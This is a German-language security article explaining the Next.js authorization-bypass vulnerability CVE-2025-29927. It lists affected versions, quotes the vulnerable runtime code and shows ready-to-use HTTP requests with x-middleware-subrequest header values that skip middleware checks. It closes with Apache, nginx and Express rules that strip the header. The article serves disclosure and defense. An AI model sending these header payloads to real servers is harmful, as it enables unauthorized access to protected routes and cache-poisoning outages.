Die CVE-2025-29927-Sicherheitslücke zur Umgehung der Autorisierung in Next.js: Alles, was Sie darüber wissen müssen

CVE-2025-29927 –

Am 21. März 2025 gaben die Maintainer von Next.js eine neue Sicherheitslücke bekannt, die eine Umgehung der Autorisierung ermöglicht – CVE-2025-29927. Diese Sicherheitslücke kann leicht ausgenutzt werden, um die Autorisierung zu umgehen. In einigen Fällen kann die Ausnutzung der Sicherheitslücke auch zu Cache Poisoning und einem Denial-of-Service führen.

Welche Versionen von Next.js sind betroffen?

Next.js 15.x – von Version 15.0.0 bis einschließlich 15.2.2.

Next.js 14.x – von Version 14.0.0 bis einschließlich 14.2.24.

Frühere Next.js-Versionen – ab Version 11.1.4 bis einschließlich 13.5.6.

Angriffsszenarien für CVE-2025-29927

Damit die Schwachstelle überhaupt ausgenutzt werden kann, muss der betroffene Next.js-Server eine Next.js-Middleware verwenden. Dies umfasst das Einbinden einer Datei middleware.js oder middleware.ts ( _middleware.js oder _middleware.ts  für ältere Versionen von Next.js). Diese Datei definiert und exportiert die Funktion middleware, die die Logik enthält, die bei jeder eingehenden HTTP-Anfrage ausgeführt wird.

Umgehung der Autorisierung

Dies ist das wahrscheinlichste Szenario, das CVE-2025-29927 ausnutzt.

Dieses Szenario ist relevant, wenn der Next.js-Server des Opfers die Middleware-Funktion zur Durchführung der Autorisierung verwendet (und die zugrunde liegende Anwendung keine anderen Autorisierungsebenen verwendet).

Szenario in Bezug auf die Autorisierungs-Middleware ohne Ausnutzung von CVE-2025-29927

Autorisierungs-Middleware-Szenario ohne Ausnutzung von CVE-2025-29927

Denial of Service durch Cache Poisoning

Next.js-Middleware kann auch bei der Lokalisierung von Websites helfen. Beispielsweise kann die Middleware Nutzer basierend auf ihrem Standort automatisch weiterleiten, indem sie etwa /en für englischsprachige oder /fr für französische Besucher hinzufügt. Wenn jemand CVE-2025-29927 ausnutzt und die Middleware umgeht, die diese Weiterleitungen durchführt, landen sie, statt auf einer lokalisierten Seite, auf der Website-Root (/), für die die Entwickler nie eine Seite erstellt haben. Wozu führt das? Einem 404-Fehler oder einem 500-Serverfehler, je nach Konfiguration.

Wenn die Website ein CDN oder eine andere Caching-Schicht verwendet, können diese Fehlerantworten gespeichert und zukünftigen Besuchern bereitgestellt werden. Sobald sie zwischengespeichert sind, sehen legitime Nutzer möglicherweise weltweit fehlerhafte Seiten. Dadurch entsteht ein selbst verursachter Ausfall, der die Verfügbarkeit beeinträchtigt, ohne eine einzige Zeile Code zu ändern.

Redirector-Middleware-Szenario ohne Ausnutzung von CVE-2025-29927

Redirector-Middleware-Szenario mit Ausnutzung von CVE-2025-29927

Next.js-Middleware verstehen

Next.js-Middleware ist eine leistungsstarke Funktion, die in Next.js v12 eingeführt wurde und Entwicklern ermöglicht, Code auszuführen, bevor eine Anfrage abgeschlossen wird. Middleware wird am Edge ausgeführt, näher am Nutzer als herkömmlicher serverseitiger Code, und kann Response-Header ändern, Anfragen umschreiben oder umleiten und – was am wichtigsten ist – Authentifizierungs- und Autorisierungsprüfungen implementieren.

Middleware in Next.js wird vor dem Rendering ausgeführt und kann über Matcher-Konfigurationen für die Ausführung auf bestimmten Pfaden konfiguriert werden.

Einige Anwendungsbeispiele für Next.js-Middleware sind:

• Überprüfung von Authentifizierungs-Tokens
• Implementierung einer rollenbasierten Zugriffskontrolle
• Weiterleitung nicht authentifizierter Benutzer

Eine typische Next.js-Middleware-Implementierung, die eine Authentifizierung durchführt, könnte wie folgt aussehen:

 

 import { NextResponse } from 'next/server'
 import type { NextRequest } from 'next/server'

 export function middleware(request: NextRequest) {
   // Token des Benutzers aus den Cookies abrufen
   const token = request.cookies.get('token').value
  
   // Prüfen, ob der Benutzer authentifiziert ist
   const isAuthenticated = validateToken(token)
  
   // Wenn nicht authentifiziert, zur Anmeldung weiterleiten
   if (!isAuthenticated) {
     return NextResponse.redirect(new URL('/login', request.url))
   }
  
   // Bei erfolgreicher Authentifizierung mit der geschützten Route fortfahren
   return NextResponse.next()
 }

 // Konfigurieren, welche Routen diese Middleware verwenden
 export const config = {
   matcher: ['/dashboard/:path*', '/settings/:path*'],
 }
 

Technische Analyse von CVE-2025-29927

CVE-2025-29927 deckt einen kritischen Fehler bei der Verarbeitung bestimmter Anfragetypen durch die Next.js-Middleware auf, der zu einer möglichen Umgehung von Authentifizierung und Autorisierung führt.

Diese Schwachstelle betrifft Anwendungen, die in bestimmten Konfigurationen Middleware zur Zugriffskontrolle verwenden.

Die Schwachstelle beruht auf der inkonsistenten Verarbeitung der benutzerdefinierten x-middleware-subrequest-Header durch Next.js. Wenn dieser Header in Anfragen an geschützte Routen enthalten ist, erlaubt Next.js der Anfrage fälschlicherweise, die Ausführung der Middleware vollständig zu umgehen. Der Header veranlasst die Next.js-Laufzeitumgebung, die Phase der Middleware-Auswertung zu überspringen, während der zugrundeliegende Route-Handler weiterhin verarbeitet wird.

Um diese Schwachstelle auszunutzen, muss ein Angreifer beim Zugriff auf geschützte Ressourcen lediglich den Header x-middleware-subrequest zu seinen HTTP-Anfragen hinzufügen. Beispielsweise wird eine Anfrage an /api/admin/users, die normalerweise durch Autorisierungsprüfungen der Middleware blockiert würde, bei Vorhandensein dieses Headers normal verarbeitet. Der Server verarbeitet die Anfrage, als wäre die Middleware bereits ausgeführt worden und hätte sie genehmigt, wodurch eine vollständige Umgehung der Sicherheitsmechanismen entsteht. Diese Header-Manipulation lässt sich einfach mit Browser-Entwicklertools, curl-Befehlen oder einfachen Skripten umsetzen.

Der anfällige Code in der neuesten anfälligen Version (v15.2.2) lautet wie folgt:

 export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
 const runtime = await getRuntimeContext(params)
 const subreq = params.request.headers[`x-middleware-subrequest`]        [1]
 const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] [2]

 const MAX_RECURSION_DEPTH = 5
 const depth = subrequests.reduce(                                       [3]
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
 )

 if (depth >= MAX_RECURSION_DEPTH) {                                     [4]
  return {
     waitUntil: Promise.resolve(),
     response: new runtime.context.Response(null, {
       headers: {
         'x-middleware-next': '1',
       },
     }),
   }
 }
 

Der Header x-middleware-subrequest wird in [1] aus der Anfrage übernommen.
Anschließend wird er mithilfe des Trennzeichens : in [2] aufgeteilt und durch eine Reduce-Funktion geführt, die zählt, wie viele Elemente in diesem Array (subrequests) in [3] mit dem Dateinamen der Middleware übereinstimmen.
Wenn diese Zahl in [4] gleich oder größer als MAX_RECURSION_DEPTH (also 5) ist, umgeht sie die Funktionalität der Middleware und leitet sie an ihre Route weiter.

Mögliche Werte für Attack-Header

 GET /admin/dashboard HTTP/1.1
 x-middleware-subrequest: pages/_middleware
 

 GET /admin/dashboard HTTP/1.1
 x-middleware-subrequest: middleware
 

 GET /admin/dashboard HTTP/1.1
 x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 

 GET /admin/dashboard HTTP/1.1
 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware.
 

 <IfModule mod_headers.c>
   RequestHeader unset x-middleware-subrequest
 </IfModule>

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 // Middleware zum Entfernen des Headers x-middleware-subrequest
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });